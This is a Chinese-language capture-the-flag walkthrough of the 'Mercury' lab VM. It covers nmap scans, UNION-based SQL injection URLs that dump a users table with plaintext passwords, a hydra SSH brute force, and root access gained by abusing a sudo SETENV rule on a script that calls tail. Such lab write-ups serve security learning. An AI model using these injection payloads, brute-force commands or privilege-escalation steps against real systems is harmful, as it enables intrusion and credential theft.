┌──(kali㉿kali)-[~] └─$ sudo nmap --min-rate 10000 -p- 192.168.56.115 Starting Nmap 7.92 ( https://nmap.org ) at 2023-06-15 07:58 EDT Nmap scan report for 192.168.56.115 Host is up (0.00072s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 8080/tcp open http-proxy MAC Address: 08:00:27:D5:99:58 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 2.18 seconds
┌──(kali㉿kali)-[~] └─$ sudo nmap -sT -sV -O -sC -p22,8080 192.168.56.115 [sudo] password for kali: Starting Nmap 7.92 ( https://nmap.org ) at 2023-06-15 07:59 EDT Nmap scan report for 192.168.56.115 Host is up (0.00040s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 c8:24:ea:2a:2b:f1:3c:fa:16:94:65:bd:c7:9b:6c:29 (RSA) | 256 e8:08:a1:8e:7d:5a:bc:5c:66:16:48:24:57:0d:fa:b8 (ECDSA) |_ 256 2f:18:7e:10:54:f7:b9:17:a2:11:1d:8f:b3:30:a5:2a (ED25519) 8080/tcp open http-proxy WSGIServer/0.2 CPython/3.8.2 | fingerprint-strings: | FourOhFourRequest: | HTTP/1.1 404 Not Found | Date: Thu, 15 Jun 2023 00:59:20 GMT | Server: WSGIServer/0.2 CPython/3.8.2 | Content-Type: text/html | X-Frame-Options: DENY | Content-Length: 2366 | X-Content-Type-Options: nosniff | Referrer-Policy: same-origin | <!DOCTYPE html> | <html lang="en"> | <head> | <meta http-equiv="content-type" content="text/html; charset=utf-8"> | <title>Page not found at /nice ports,/Trinity.txt.bak</title> | <meta name="robots" content="NONE,NOARCHIVE"> | <style type="text/css"> | html * { padding:0; margin:0; } | body * { padding:10px 20px; } | body * * { padding:0; } | body { font:small sans-serif; background:#eee; color:#000; } | body>div { border-bottom:1px solid #ddd; } | font-weight:normal; margin-bottom:.4em; } | span { font-size:60%; color:#666; font-weight:normal; } | table { border:none; border-collapse: collapse; width:100%; } | vertical-align: | GetRequest, HTTPOptions: | HTTP/1.1 200 OK | Date: Thu, 15 Jun 2023 00:59:20 GMT | Server: WSGIServer/0.2 CPython/3.8.2 | Content-Type: text/html; charset=utf-8 | X-Frame-Options: DENY | Content-Length: 69 | X-Content-Type-Options: nosniff | Referrer-Policy: same-origin | Hello. This site is currently in development please check back later. | RTSPRequest: | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" | "http://www.w3.org/TR/html4/strict.dtd"> | <html> | <head> | <meta http-equiv="Content-Type" content="text/html;charset=utf-8"> | <title>Error response</title> | </head> | <body> | <h1>Error response</h1> | <p>Error code: 400</p> | <p>Message: Bad request version ('RTSP/1.0').</p> | <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p> | </body> |_ </html> | http-robots.txt: 1 disallowed entry |_/ |_http-title: Site doesn\'t have a title (text/html; charset=utf-8). |_http-server-header: WSGIServer/0.2 CPython/3.8.2 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port8080-TCP:V=7.92%I=7%D=6/15%Time=648AFD15%P=x86_64-pc-linux-gnu%r(Ge SF:tRequest,135,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Thu,\x2015\x20Jun\x202 SF:023\x2000:59:20\x20GMT\r\nServer:\x20WSGIServer/0\.2\x20CPython/3\.8\.2 SF:\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nX-Frame-Options:\x2 SF:0DENY\r\nContent-Length:\x2069\r\nX-Content-Type-Options:\x20nosniff\r\ SF:nReferrer-Policy:\x20same-origin\r\n\r\nHello\.\x20This\x20site\x20is\x SF:20currently\x20in\x20development\x20please\x20check\x20back\x20later\." SF:)%r(HTTPOptions,135,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Thu,\x2015\x20J SF:un\x202023\x2000:59:20\x20GMT\r\nServer:\x20WSGIServer/0\.2\x20CPython/ SF:3\.8\.2\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nX-Frame-Opti SF:ons:\x20DENY\r\nContent-Length:\x2069\r\nX-Content-Type-Options:\x20nos SF:niff\r\nReferrer-Policy:\x20same-origin\r\n\r\nHello\.\x20This\x20site\ SF:x20is\x20currently\x20in\x20development\x20please\x20check\x20back\x20l SF:ater\.")%r(RTSPRequest,1F4,"<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DT SF:D\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x20\x20\x20\x20\"http://www\ SF:.w3\.org/TR/html4/strict\.dtd\">\n<html>\n\x20\x20\x20\x20<head>\n\x20\ SF:x20\x20\x20\x20\x20\x20\x20<meta\x20http-equiv=\"Content-Type\"\x20cont SF:ent=\"text/html;charset=utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x20<titl SF:e>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\x20\x20\x20\x20< SF:body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20response</h1>\n\x20 SF:\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>\n\x20\x20\x20\ SF:x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20version\x20\('RTSP/ SF:1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code\x20expl SF:anation:\x20HTTPStatus\.BAD_REQUEST\x20-\x20Bad\x20request\x20syntax\x2 SF:0or\x20unsupported\x20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n" SF:)%r(FourOhFourRequest,A28,"HTTP/1\.1\x20404\x20Not\x20Found\r\nDate:\x2 SF:0Thu,\x2015\x20Jun\x202023\x2000:59:20\x20GMT\r\nServer:\x20WSGIServer/ SF:0\.2\x20CPython/3\.8\.2\r\nContent-Type:\x20text/html\r\nX-Frame-Option SF:s:\x20DENY\r\nContent-Length:\x202366\r\nX-Content-Type-Options:\x20nos SF:niff\r\nReferrer-Policy:\x20same-origin\r\n\r\n<!DOCTYPE\x20html>\n<htm SF:l\x20lang=\"en\">\n<head>\n\x20\x20<meta\x20http-equiv=\"content-type\" SF:\x20content=\"text/html;\x20charset=utf-8\">\n\x20\x20<title>Page\x20no SF:t\x20found\x20at\x20/nice\x20ports,/Trinity\.txt\.bak</title>\n\x20\x20 SF:<meta\x20name=\"robots\"\x20content=\"NONE,NOARCHIVE\">\n\x20\x20<style SF:\x20type=\"text/css\">\n\x20\x20\x20\x20html\x20\*\x20{\x20padding:0;\x SF:20margin:0;\x20}\n\x20\x20\x20\x20body\x20\*\x20{\x20padding:10px\x2020 SF:px;\x20}\n\x20\x20\x20\x20body\x20\*\x20\*\x20{\x20padding:0;\x20}\n\x2 SF:0\x20\x20\x20body\x20{\x20font:small\x20sans-serif;\x20background:#eee; SF:\x20color:#000;\x20}\n\x20\x20\x20\x20body>div\x20{\x20border-bottom:1p SF:x\x20solid\x20#ddd;\x20}\n\x20\x20\x20\x20h1\x20{\x20font-weight:normal SF:;\x20margin-bottom:\.4em;\x20}\n\x20\x20\x20\x20h1\x20span\x20{\x20font SF:-size:60%;\x20color:#666;\x20font-weight:normal;\x20}\n\x20\x20\x20\x20 SF:table\x20{\x20border:none;\x20border-collapse:\x20collapse;\x20width:10 SF:0%;\x20}\n\x20\x20\x20\x20td,\x20th\x20{\x20vertical-align:"); MAC Address: 08:00:27:D5:99:58 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 94.90 seconds
todo 中给定了一些开发者在开发过程中留下的计划,我们可以得知两个事情:一是目前没有鉴权,二是目前是直接和 mysql 进行交互的。我们看看另一个链接,其中包含数字,可能存在 SQL 注入
尝试单引号
单引号报错,返回信息中确认了是 MySQL 数据库,似乎是数字型注入,不需要闭合,接下来尝试 union 联合注入,首先使用 order by
接下来使用联合查询
1
http://192.168.56.115:8080/mercuryfacts/-1 union select database()
确认了数据库名,接下来查看数据库下的表名
1
http://192.168.56.115:8080/mercuryfacts/1 union select group_concat(table_name) from information_schema.tables where table_schema = 'mercury'
表中的列名
1
http://192.168.56.115:8080/mercuryfacts/1 union select group_concat(column_name) from information_schema.columns where table_name = 'users'
然后直接查询数据库即可
1
http://192.168.56.115:8080/mercuryfacts/2 union select group_concat(id,0x2d,password,0x2d,username) from users
hydra爆破
收集用户名和密码,按行写入到文件中,在使用 awk 工具来将用户名和密码存入对应的文件
1 2 3 4 5 6
┌──(kali㉿kali)-[~/Downloads/THE_PLANETS_MERCURY] └─$ cat db 1-johnny1987-john 2-lovemykids111-laura 3-lovemybeer111-sam 4-mercuryisthesizeof0.056Earths-webmaster
1 2 3 4 5
┌──(kali㉿kali)-[~/Downloads/THE_PLANETS_MERCURY] └─$ cat db | awk -F '-''{print$2}' > passwd
┌──(kali㉿kali)-[~/Downloads/THE_PLANETS_MERCURY] └─$ cat db | awk -F '-''{print$3}' > user
1 2 3 4 5 6 7 8 9 10 11
┌──(kali㉿kali)-[~/Downloads/THE_PLANETS_MERCURY] └─$ hydra -L user -P passwd 192.168.56.115 ssh Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-15 08:36:33 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 16 login tries (l:4/p:4), ~1 try per task [DATA] attacking ssh://192.168.56.115:22/ [22][ssh] host: 192.168.56.115 login: webmaster password: mercuryisthesizeof0.056Earths 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-06-15 08:36:38
System information as of Thu 15 Jun 01:37:12 UTC 2023
System load: 0.01 Processes: 106 Usage of /: 78.3% of 4.86GB Users logged in: 0 Memory usage: 31% IPv4 address for enp0s3: 192.168.56.115 Swap usage: 0%
22 updates can be installed immediately. 0 of these updates are security updates. To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Sep 1 13:57:14 2020 from 192.168.31.136 webmaster@mercury:~$ whoami webmaster webmaster@mercury:~$ ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 08:00:27:d5:99:58 brd ff:ff:ff:ff:ff:ff inet 192.168.56.115/24 brd 192.168.56.255 scope global dynamic enp0s3 valid_lft 497sec preferred_lft 497sec inet6 fe80::a00:27ff:fed5:9958/64 scope link valid_lft forever preferred_lft forever webmaster@mercury:~$ uname -a Linux mercury 5.4.0-45-generic #49-Ubuntu SMP Wed Aug 26 13:38:52 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux webmaster@mercury:~$ sudo -l [sudo] password for webmaster: Sorry, user webmaster may not run sudo on mercury. webmaster@mercury:~$ ls mercury_proj user_flag.txt webmaster@mercury:~$ cat user_flag.txt [user_flag_8339915c9a454657bd60ee58776f4ccd]
webmaster@mercury:~/mercury_proj$ cat manage.py #!/usr/bin/env python """Django's command-line utility for administrative tasks.""" import os import sys
def main(): """Run administrative tasks.""" os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'mercury_proj.settings') try: from django.core.management import execute_from_command_line except ImportError as exc: raise ImportError( "Couldn't import Django. Are you sure it's installed and " "available on your PYTHONPATH environment variable? Did you " "forget to activate a virtual environment?" ) from exc execute_from_command_line(sys.argv)
if __name__ == '__main__': main() webmaster@mercury:~/mercury_proj$ cat notes.txt Project accounts (both restricted): webmaster for web stuff - webmaster:bWVyY3VyeWlzdGhlc2l6ZW9mMC4wNTZFYXJ0aHMK linuxmaster for linux stuff - linuxmaster:bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg==
linuxmaster@mercury:/home$ sudo -l [sudo] password for linuxmaster: Matching Defaults entries for linuxmaster on mercury: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User linuxmaster may run the following commands on mercury: (root : root) SETENV: /usr/bin/check_syslog.sh linuxmaster@mercury:/home$ ls -liah /usr/bin/check_syslog.sh 166272 -rwxr-xr-x 1 root root 39 Aug 28 2020 /usr/bin/check_syslog.sh linuxmaster@mercury:/home$ cat /usr/bin/check_syslog.sh #!/bin/bash tail -n 10 /var/log/syslog linuxmaster@mercury:/home$ /usr/bin/check_syslog.sh tail: cannot open '/var/log/syslog'for reading: Permission denied linuxmaster@mercury:/home$ sudo /usr/bin/check_syslog.sh Jun 15 01:37:12 mercury systemd[4101]: Reached target Sockets. Jun 15 01:37:12 mercury systemd[4101]: Reached target Basic System. Jun 15 01:37:12 mercury systemd[1]: Started User Manager for UID 1001. Jun 15 01:37:12 mercury systemd[1]: Started Session 13 of user webmaster. Jun 15 01:37:12 mercury systemd[4101]: Reached target Main User Target. Jun 15 01:37:12 mercury systemd[4101]: Startup finished in 73ms. Jun 15 01:40:32 mercury systemd-networkd[343]: enp0s3: DHCP: No gateway received from DHCP server. Jun 15 01:40:32 mercury systemd-timesyncd[469]: Network configuration changed, trying to establish connection. Jun 15 01:45:31 mercury systemd-networkd[343]: enp0s3: DHCP: No gateway received from DHCP server. Jun 15 01:45:31 mercury systemd-timesyncd[469]: Network configuration changed, trying to establish connection. linuxmaster@mercury:/home$ id uid=1002(linuxmaster) gid=1002(linuxmaster) groups=1002(linuxmaster),1003(viewsyslog)
既然调用了 tail 命令,我们可以利用环境变量和软链接,将 tail 指向 vi,然后按照 sudo -l 中的要求给定环境变量,去执行 sh 脚本,最后利用 vi 中 :!bash 新开启一个交互 shell 即可实现提权
linuxmaster@mercury:/tmp$ ls exploit systemd-private-45c1fa3565004439b6a6c8b9e9d5799b-systemd-logind.service-wwncgi systemd-private-45c1fa3565004439b6a6c8b9e9d5799b-systemd-resolved.service-4UEN1e systemd-private-45c1fa3565004439b6a6c8b9e9d5799b-systemd-timesyncd.service-yQdfjg linuxmaster@mercury:/tmp$ chmod +x exploit linuxmaster@mercury:/tmp$ ./exploit 2023/06/15 02:11:17 CMDTOEXECUTE is empty fallback to default value 2023/06/15 02:11:17 Executing command sh # id uid=0(root) gid=0(root) groups=0(root),1002(linuxmaster),1003(viewsyslog) # whoami root # cd /root # ls root_flag.txt # cat root_flag.txt @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@/##////////@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@(((/(*(/((((((////////&@@@@@@@@@@@@@ @@@@@@@@@@@((#(#(###((##//(((/(/(((*((//@@@@@@@@@@ @@@@@@@@/#(((#((((((/(/,*/(((///////(/*/*/#@@@@@@@ @@@@@@*((####((///*//(///*(/*//((/(((//**/((&@@@@@ @@@@@/(/(((##/*((//(#(////(((((/(///(((((///(*@@@@ @@@@/(//((((#(((((*///*/(/(/(((/((////(/*/*(///@@@ @@@//**/(/(#(#(##((/(((((/(**//////////((//((*/#@@ @@@(//(/((((((#((((#*/((///((///((//////(/(/(*(/@@ @@@((//((((/((((#(/(/((/(/(((((#((((((/(/((/////@@ @@@(((/(((/##((#((/*///((/((/((##((/(/(/((((((/*@@ @@@(((/(##/#(((##((/((((((/(##(/##(#((/((((#((*%@@ @@@@(///(#(((((#(#(((((#(//((#((###((/(((((/(//@@@ @@@@@(/*/(##(/(###(((#((((/((####/((((///((((/@@@@ @@@@@@%//((((#############((((/((/(/(*/(((((@@@@@@ @@@@@@@@%#(((############(##((#((*//(/(*//@@@@@@@@ @@@@@@@@@@@/(#(####(###/((((((#(///((//(@@@@@@@@@@ @@@@@@@@@@@@@@@(((###((#(#(((/((///*@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@%#(#%@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Congratulations on completing Mercury!!! If you have any feedback please contact me at SirFlash@protonmail.com [root_flag_69426d9fda579afbffd9c2d47ca31d90]
linuxmaster@mercury:/usr/share$ systemd-run -t bash ==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units === Authentication is required to manage system services or other units. Authenticating as: mercury Password: polkit-agent-helper-1: pam_authenticate failed: Authentication failure ==== AUTHENTICATION FAILED === Failed to start transient service unit: Access denied